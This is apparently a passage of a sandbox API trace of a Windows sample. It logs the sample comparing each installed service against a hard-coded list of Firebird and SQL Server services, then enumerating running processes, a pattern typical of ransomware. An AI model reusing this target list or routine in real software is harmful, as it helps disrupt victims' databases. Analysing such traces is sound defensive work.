	[0062.964] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0062.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0062.965] lstrlenW (lpString="BITS") returned 4
	[0062.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0062.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0062.965] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0062.965] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0062.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0062.965] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0062.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0062.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0062.965] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0062.965] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0062.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0062.965] lstrlenW (lpString="CDPSvc") returned 6
	[0062.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0062.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0062.965] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0062.965] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0062.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0062.965] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0062.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0062.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0062.965] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0062.965] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0062.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0062.965] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0062.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0062.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0062.965] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0062.965] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0062.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0062.965] lstrlenW (lpString="CryptSvc") returned 8
	[0062.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0062.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0062.965] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0062.965] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0062.966] lstrlenW (lpString="DcomLaunch") returned 10
	[0062.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0062.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0062.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0062.966] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0062.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0062.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0062.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0062.966] lstrlenW (lpString="Dhcp") returned 4
	[0062.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0062.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0062.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0062.966] lstrlenW (lpString="Dnscache") returned 8
	[0062.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0062.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0062.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0062.966] lstrlenW (lpString="DoSvc") returned 5
	[0062.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0062.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0062.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0062.966] lstrlenW (lpString="DPS") returned 3
	[0062.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0062.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0062.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0062.967] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0062.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0062.967] lstrlenW (lpString="DusmSvc") returned 7
	[0062.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0062.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0062.967] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0062.967] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0062.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0062.967] lstrlenW (lpString="EventLog") returned 8
	[0062.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0062.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0062.967] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0062.967] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0062.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0062.967] lstrlenW (lpString="EventSystem") returned 11
	[0062.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0062.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0062.967] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0062.967] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0062.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0062.967] lstrlenW (lpString="FontCache") returned 9
	[0062.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0062.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0062.967] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0062.967] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0062.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0062.967] lstrlenW (lpString="gpsvc") returned 5
	[0062.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0062.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0062.967] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0062.967] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0062.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0062.967] lstrlenW (lpString="iphlpsvc") returned 8
	[0062.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0062.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0062.968] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0062.968] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0062.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0062.968] lstrlenW (lpString="KeyIso") returned 6
	[0062.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0062.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0062.968] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0062.968] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0062.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0062.968] lstrlenW (lpString="LanmanServer") returned 12
	[0062.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0062.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0062.968] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0062.968] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0062.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0062.968] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0062.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0062.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0062.968] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0062.968] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0062.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0062.968] lstrlenW (lpString="lfsvc") returned 5
	[0062.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0062.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0062.968] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0062.968] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0062.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0062.968] lstrlenW (lpString="lmhosts") returned 7
	[0062.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0062.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0062.968] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0062.968] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0062.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0062.969] lstrlenW (lpString="LSM") returned 3
	[0062.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0062.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0062.969] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0062.969] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0062.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0062.969] lstrlenW (lpString="MapsBroker") returned 10
	[0062.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0062.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0062.969] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0062.969] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0062.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0062.969] lstrlenW (lpString="MpsSvc") returned 6
	[0062.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0062.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0062.969] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0062.969] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0062.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0062.969] lstrlenW (lpString="NcbService") returned 10
	[0062.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0062.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0062.969] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0062.969] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0062.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0062.969] lstrlenW (lpString="netprofm") returned 8
	[0062.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0062.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0062.969] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0062.970] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0062.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0062.970] lstrlenW (lpString="NlaSvc") returned 6
	[0062.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0062.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0062.970] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0062.970] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0062.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0062.970] lstrlenW (lpString="nsi") returned 3
	[0062.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0062.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0062.970] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0062.970] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0062.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0062.970] lstrlenW (lpString="PcaSvc") returned 6
	[0062.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0062.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0062.970] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0062.970] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0062.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0062.970] lstrlenW (lpString="PlugPlay") returned 8
	[0062.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0062.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0062.970] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0062.970] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0062.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0062.970] lstrlenW (lpString="Power") returned 5
	[0062.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0062.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0062.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0062.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0062.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0062.971] lstrlenW (lpString="ProfSvc") returned 7
	[0062.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0062.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0062.971] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0062.971] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0062.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0062.971] lstrlenW (lpString="RpcEptMapper") returned 12
	[0062.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0062.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0062.971] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0062.971] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0062.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0062.971] lstrlenW (lpString="RpcSs") returned 5
	[0062.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0062.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0062.971] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0062.971] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0062.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0062.971] lstrlenW (lpString="SamSs") returned 5
	[0062.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0062.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0062.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0062.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0062.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0062.971] lstrlenW (lpString="Schedule") returned 8
	[0062.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0062.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0062.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0062.972] lstrlenW (lpString="SecurityHealthService") returned 21
	[0062.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0062.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0062.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0062.972] lstrlenW (lpString="SENS") returned 4
	[0062.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0062.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0062.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0062.972] lstrlenW (lpString="ShellHWDetection") returned 16
	[0062.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0062.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0062.972] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0062.972] lstrlenW (lpString="Spooler") returned 7
	[0062.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0062.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0062.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0062.972] lstrlenW (lpString="SSDPSRV") returned 7
	[0062.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0062.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0062.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0062.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0062.972] lstrlenW (lpString="StateRepository") returned 15
	[0062.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0062.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0062.973] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0062.973] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0062.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0062.973] lstrlenW (lpString="SysMain") returned 7
	[0062.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0062.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0062.973] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0062.973] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0062.973] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x546758 | out: hHeap=0x500000) returned 1
	[0062.973] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0062.996] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0062.997] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0062.997] lstrlenW (lpString="System") returned 6
	[0062.997] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0062.998] lstrlenW (lpString="smss.exe") returned 8
	[0062.998] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0062.999] lstrlenW (lpString="csrss.exe") returned 9
	[0062.999] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0063.000] lstrlenW (lpString="wininit.exe") returned 11
	[0063.001] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0063.001] lstrlenW (lpString="csrss.exe") returned 9
	[0063.001] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0063.002] lstrlenW (lpString="winlogon.exe") returned 12
	[0063.002] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0063.002] lstrlenW (lpString="services.exe") returned 12
	[0063.002] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0063.004] lstrlenW (lpString="lsass.exe") returned 9
	[0063.004] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.004] lstrlenW (lpString="svchost.exe") returned 11
	[0063.004] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0063.005] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0063.005] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0063.005] lstrlenW (lpString="fontdrvhost.exe") returned 15
